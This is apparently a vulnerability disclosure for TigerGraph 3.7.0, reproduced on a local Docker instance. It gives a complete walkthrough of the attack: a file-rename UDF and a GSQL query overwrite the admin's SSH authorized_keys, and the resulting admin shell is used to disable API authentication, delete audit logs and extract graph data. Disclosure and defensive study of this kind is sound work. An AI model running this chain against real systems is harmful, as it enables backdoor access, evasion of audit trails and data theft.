In systems that allow users to login via SSH, the authorized_keys file acts as a user configurable access control list. It specifies a list of cryptographic keys that the user can provide to the system to allow them to login. Often this is used for users to authenticate themselves without entering a password.

In this report we demonstrate that the TigerGraph platform does not adequately protect the authorized_keys file of its administrative user, thereby, allowing an attacker to both read and write to it. The consequences are that an attacker is able to install additional keys into the authorized_keys file which grants them password-less access to a remote TigerGraph installation and its host operating system where they have full control of the application and its data.

Impact

Severe.

The TigerGraph platform runs all system services using a single administrative user — tigergraph — who has the ability to remotely login to other remote nodes within the TigerGraph cluster using the SSH protocol. The installation guide details this as a precondition for installing TigerGraph in a clustered configuration (see Post Installation Checks) and the set of administrative commands that are available to the tigergraph user due to this configuration can be found in the (legacy) documentation (see Advanced Platform Operations).

Therefore, this vulnerability can be used to create a backdoor into a TigerGraph system that allows attackers a convenient method of ingress into a remote TigerGraph deployment with full administrative control. Once an attacker has access to an administrative shell then they have full control over the entire TigerGraph cluster and its underlying servers.

This increases the severity of CVE-2022-30331 as it highlights another route in which an attacker is able to obtain administrator level privileges by bypassing TigerGraph’s access controls.

Products/Versions Affected

  • TigerGraph Enterprise Free Edition 3.7.0 Docker Image
  • TigerGraph Enterprise Free Edition 3.7.0

We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).

Steps to Reproduce

Download and Run TigerGraph

Using docker download at the latest TigerGraph image and start the server:

1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:

docker rm tigergraph
docker pull tigergraph/tigergraph:latest
latest: Pulling from tigergraph/tigergraph
Digest: sha256:6c00ec6646f66a14fd0c7babdbf19bf9e70c5548aebc04ac8958015d5f62af31
Status: Image is up to date for tigergraph/tigergraph:latest
docker.io/tigergraph/tigergraph:latest

2.) Download and run the docker image (note: we do not need to attach a volume):

docker run -d \
	-p 14022:22 \
	-p 9000:9000 \
	-p 14240:14240 \
	--name tigergraph \
	--ulimit nofile=1000000:1000000 \
	-t tigergraph/tigergraph:latest

3.) Once the container has started, connect to it via ssh (note: the default password is ‘tigergraph’):

ssh -p 14022 tigergraph@localhost

4.) Start all TigerGraph services:

gadmin start all

5.) Using GSQL, create a new graph called test and add a node to it:

$ gsql
GSQL> CREATE VERTEX Node(PRIMARY_ID id UINT, value STRING) WITH primary_id_as_attribute="true"
GSQL> CREATE GRAPH test(*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test {
GSQL>   INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello")

6.) Create a user — alice — with minimal privileges using GSQL:

gsql "create user"
User Name : alice
New Password : *****
Re-enter Password : *****

7.) Grant privileges to Alice:

gsql "grant role designer on graph test to alice"

8.) Enable RESTPP authentication

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply -y
gadmin restart restpp nginx gui gsql -y

Prepare A New SSH Key

On your local machine create a new SSH key. We use the following command to create a new key in the file bad-key with its corresponding public key in the file bad-key.pub:

ssh-keygen -f bad-key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bad-key
Your public key has been saved in bad-key.pub
The key fingerprint is:
SHA256:6H9Tqv60XkhU+6f82b18HvZvX6ZQaTGC1yUFIVCw5sU 
The key's randomart image is:
+---[RSA 3072]----+
|          o++ ++o|
|           = + o |
|          = E +  |
|       . + o o + |
|      . S o   = .|
|     .   . ..+ o |
|      .   ooo ooo|
|       . .+o .o+X|
|       .+=+.  .*&|
+----[SHA256]-----+

Note: we just left the password empty to enable us to use password-less SSH connections.

Download GSQL Client and Connect

We will run our GSQL commands as our newly created user alice. To do this we will need to get a copy of the GSQL client that we can run locally. The easiest way to do this is to copy it from the docker image like so:

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/lib/gsql_client.jar  gsql_client.jar

Once downloaded a GSQL console can be opened for alice by running the following command:

java -jar gsql_client.jar -ip localhost -u alice -g test
Adding gsql-server host localhost
Password for alice : *****
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL >

Obtaining authorized_keys File From The Remote System

To demonstrate that the authorized_keys file of the administrative user is not readily protected from unauthorized or erroneous access we download it via the AdminPortal. Although this step assumes that the login credentials of the administrative user are known, the salient point here is that there is a lack of security mechanisms to limit which parts of the filesystem different components in the TigerGraph system can access.

Login To The AdminPortal

The simplest way to obtain the administrative users login credentials is using AdminStudio and to do this follow these steps:

1.) Open a web-browser and go to https://localhost:1420 where you will be able to login to GraphStudio using the tigergraph user:

2.) Click on the “Admin” button on the top-right corner to switch into administrative mode (called the AdminPortal).

Downloading SSH authorized_keys File via AdminPortal

Once logged into the AdminPortal follow the following steps to download the SSH authorized_keys of the tigergraph user:

  • On the left-hand side expand the “Others” menu.
  • Click on “GSQL Output File” to open the file preview pane.
  • In the “File path” textbox enter the text “/home/tigergraph/.ssh/authorized_keys“.
  • Click “Preview” to check that the file exists – if it does the first few lines will be displayed.
  • Finally, click “Download” and the file will be downloaded to your local computer. On our system it was called m1_authorized_keys.

Writing To SSH authorized_keys

To demonstrate a lack of security mechanisms in place on the server to prevent malicious or erroneous modification to the authorized_keys, we use GSQL to swap out the existing authorized_keys file for one that contains authorization for our newly created SSH key.

Creating a UDF

Our first step is to create a UDF to move an existing file to a new location. The steps for doing this are:

1.) Get a copy of the ExprFunctions.hpp file from the running docker container. Here we download it to a file called my-udf.hpp that we will add our new UDF into

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.7.0/dev/gdk/gsql/src/QueryUdf/ExprFunctions.hpp my-udf.hpp

2.) Edit my-udf.hpp. First add the two includes shown below to the list of existing includes near the top of the file:

#include <iostream>
#include <cstdio>

3.) After the to_string() function in my-udf.hpp add the following code that defines a UDF called rename_file():

inline string rename_file(string src, string dst) {
  if (chmod(src.c_str(), S_IRUSR | S_IWUSR) != 0){
      return string("error changing file permissions");
  }

  if (rename(src.c_str(), dst.c_str()) != 0) {
      return string("error moving file");
  }
  return string("ok");  
}

4.) Install the UDF on the remote system using the GSQL client like so:

java -jar gsql_client.jar -ip localhost
Adding gsql-server host localhost
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL > put ExprFunctions from "./my-udf.hpp"
PUT ExprFunctions successfully.

Writing GSQL To Swap Out The authorized_keys File

After the rename_file() UDF is installed, we can login to the GSQL as our non-administrative user alice and create a new query that will do two things: (1) create a new file on the remote system with a user provided string, and (2) rename the file to overwrite the existing authorized_keys file. The steps to create and install this GSQL query ready for user are:

1.) Login to the GSQL service as user alice:

java -jar gsql_client.jar -ip localhost -g test -u alice
Adding gsql-server host localhost
Password for alice : *****
If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql
Welcome to TigerGraph.
GSQL>

2.) Create a new GSQL query called write_file:

GSQL > begin
GSQL > create query write_file(string file, string staging, string value) for graph test {
GSQL > file f(staging);
GSQL > f.println(value);
GSQL > rename_file(staging, file);
GSQL > }
GSQL > end
Successfully created queries: [write_file].

3.) Install the new query:

GSQL > install query write_file
Start installing queries, about 1 minute ...
write_file query: curl -X GET 'https://127.0.0.1:9000/query/test/write_file?file=VALUE&staging=VALUE&value=VALUE'. Add -H "Authorization: Bearer TOKEN" if authentication is enabled.
Select 'm1' as compile server, now connecting ...
Node 'm1' is prepared as compile server.

[========================================================================================================] 100% (1/1)
Query installation finished.

Overwriting the authorized_keys File

Once the query is installed it can be used to overwrite files on the remote system. Here we choose to overwrite the authorized_keys file of the administrative user tigergraph. We know by convention that it is located at /home/tigergraph/.ssh/authorized_keys. However, before we overwrite it we need to know the value of our SSH public key to replace the old key with. Hence, the next steps locate our public SSH key and then overwrite the authorized_keys file on the server.

1.) To obtain the value of our public key run the following command (or open bad-key.pub in an editor) and copy the value to the clipboard:

cat bad-key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM=

2.) To overwrite the authorized_keys file we run our query with the following parameters. Note that the last parameter will be the value of your SSH public key from step 1.

GSQL > run query write_file("/home/tigergraph/.ssh/authorized_keys","/home/tigergraph/test.txt","ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkok5o1cWQyQItUxGoAB0qqhCNYWcjXcp6cC/c7ARJIr/l2Ae7HKF8rLRdH6lhFW9MM6Y0KeQ48za8taAJzwISN4a5iVK4YyKSWfqiloyLqtVKn6zy1D2PqAuuaJUGSrTmqdy4YRodeHFOG+Y5rBTAIjv6SkgS39K/jpkfunF/8F7QRfjpF2Kwv2WbQ1lLohCt9dTtigWeYUJVjKb4ioBM25+hq0bjwttV9L+5QZWqGUbII3NyceOZSWf4EaqP2kRPRnRk4yC241AV3hrZRBVUxRcLhQBpe/2rxNMOr8yi1tTRf9/HHKYRfxp1LP2uVi7g0z6CcOVctONwSeDZCdDIxgWfUJeW4NVDG8nHUuNnnhY1nXYpoah2IG05tZ3uhDpSEDfgHiL2gPrbkRPSXDvk6Yg11bxp21aNsZ7M823qvXhyFLSvgAGxfYM/l6bUYkJO9MTXjB4a4aRzbaMymTFBSXtwJNuZ7t8S+kOTsSNQlXM5IpkRiXT8L9vCOPyxtM= ")
{
  "error": false,
  "message": "",
  "version": {
    "schema": 0,
    "edition": "enterprise",
    "api": "v2"
  },
  "results": []
}

Logging Into The Remote System

Once the authorized_keys file has been updated you can use the following command to login to the remote system as the TigerGraph administrative user without being prompted for a password:

From the folder that stores your newly created SSH key (bad-key and bad-key.pub) use the following SSH command to login to the remote TigerGraph without requiring a password:

ssh -i bad-key -p 14022 tigergraph@localhost
The authenticity of host '[localhost]:14022 ([::1]:14022)' can't be established.
ED25519 key fingerprint is SHA256:YcV+9S8GKDc54TnX5UNIvOwub4D6d2aznpA1iuNLftY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:14022' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.49-linuxkit x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Feb  6 14:31:49 2023 from 172.17.0.1
tigergraph@b07f6aa6ffac:~$

Circumventing Security Features And Exfiltrating Data

Now that we have shell access as the administrative user, we can now disable authentication for the REST API and wipe out a selection of the systems audit logs:

tigergraph@092eb28b2d49:~$ gadmin config set RESTPP.Factory.EnableAuth false
[   Info] Configuration has been changed. Please use 'gadmin config apply' to persist the changes.
tigergraph@092eb28b2d49:~$ gadmin config apply
[   Note] Changes:
RESTPP.Factory.EnableAuth: true -> false
Proceed to apply? (y/N)y
[   Info] Successfully applied configuration change. Please restart services to make it effective immediately.
tigergraph@092eb28b2d49:~$ gadmin restart restpp nginx gui gsql -y
[   Info] Stopping NGINX RESTPP GSQL GUI
[   Info] Starting ZK ETCD DICT KAFKA ADMIN GSE NGINX GPE RESTPP KAFKASTRM-LL KAFKACONN GSQL GUI
tigergraph@092eb28b2d49:~$ rm gsql/* restpp/* controller/*

To prove that authentication is disabled we now exfiltrate some sensitive data from the graph test without needing to authenticate:

curl -X GET "https://localhost:14240/restpp/graph/test/vertices/Node"
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"1","v_type":"Node","attributes":{"id":1,"value":"hello"}}]}%